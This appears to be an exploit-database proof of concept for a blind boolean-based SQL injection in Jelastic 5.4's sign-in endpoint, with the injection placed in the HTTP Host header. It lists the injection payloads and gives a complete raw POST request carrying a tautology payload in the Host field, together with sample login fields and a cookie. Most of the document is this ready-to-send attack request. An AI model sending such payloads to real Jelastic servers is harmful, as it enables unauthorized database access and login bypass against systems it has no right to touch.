Jelastic 5.4 - 'host' SQL Injection

# Exploit Title: Jelastic 5.4 - 'host' SQL injection
# Google Dork: N/A
# Date: [date]
# Exploit Author: Procode701
# Vendor Homepage: https://jelastic.com/
# Software Link: https://jelastic.com/
# Version: 5.4
# Tested on: [Kali Linux]
# CVE : N/A

# POC: 
# The application /1.0/users/authentication/rest/signin is vulnerable to SQL injection.
# Vulnerable application Header field: Host:' AND 8494=8494-- ttWV

# EXPLOIT POC :
# Parameter: Host #1* ((custom) HEADER)
#     Type: boolean-based blind
#     Payload:' AND 8494=8494-- ttWV
# PAYLOAD: ' AND 8494=8494-- ttWV

POST /1.0/users/authentication/rest/signin HTTP/1.1
Host: localhost'-8564' OR 8495=8495-- yjRM--delay=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://localhost
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 128
Cookie: GLang=en; GLocale=en-us; jrouter=b916bf4d3b39e6029fd403f21566f3f1
DNT: 1
Connection: close

charset=UTF-8&hx_lang=en&session=1&ruk=cccc5e05-c0cb-4419-8a34-tab606191&email=testing%40gg.com&password=testing&appid=dashboard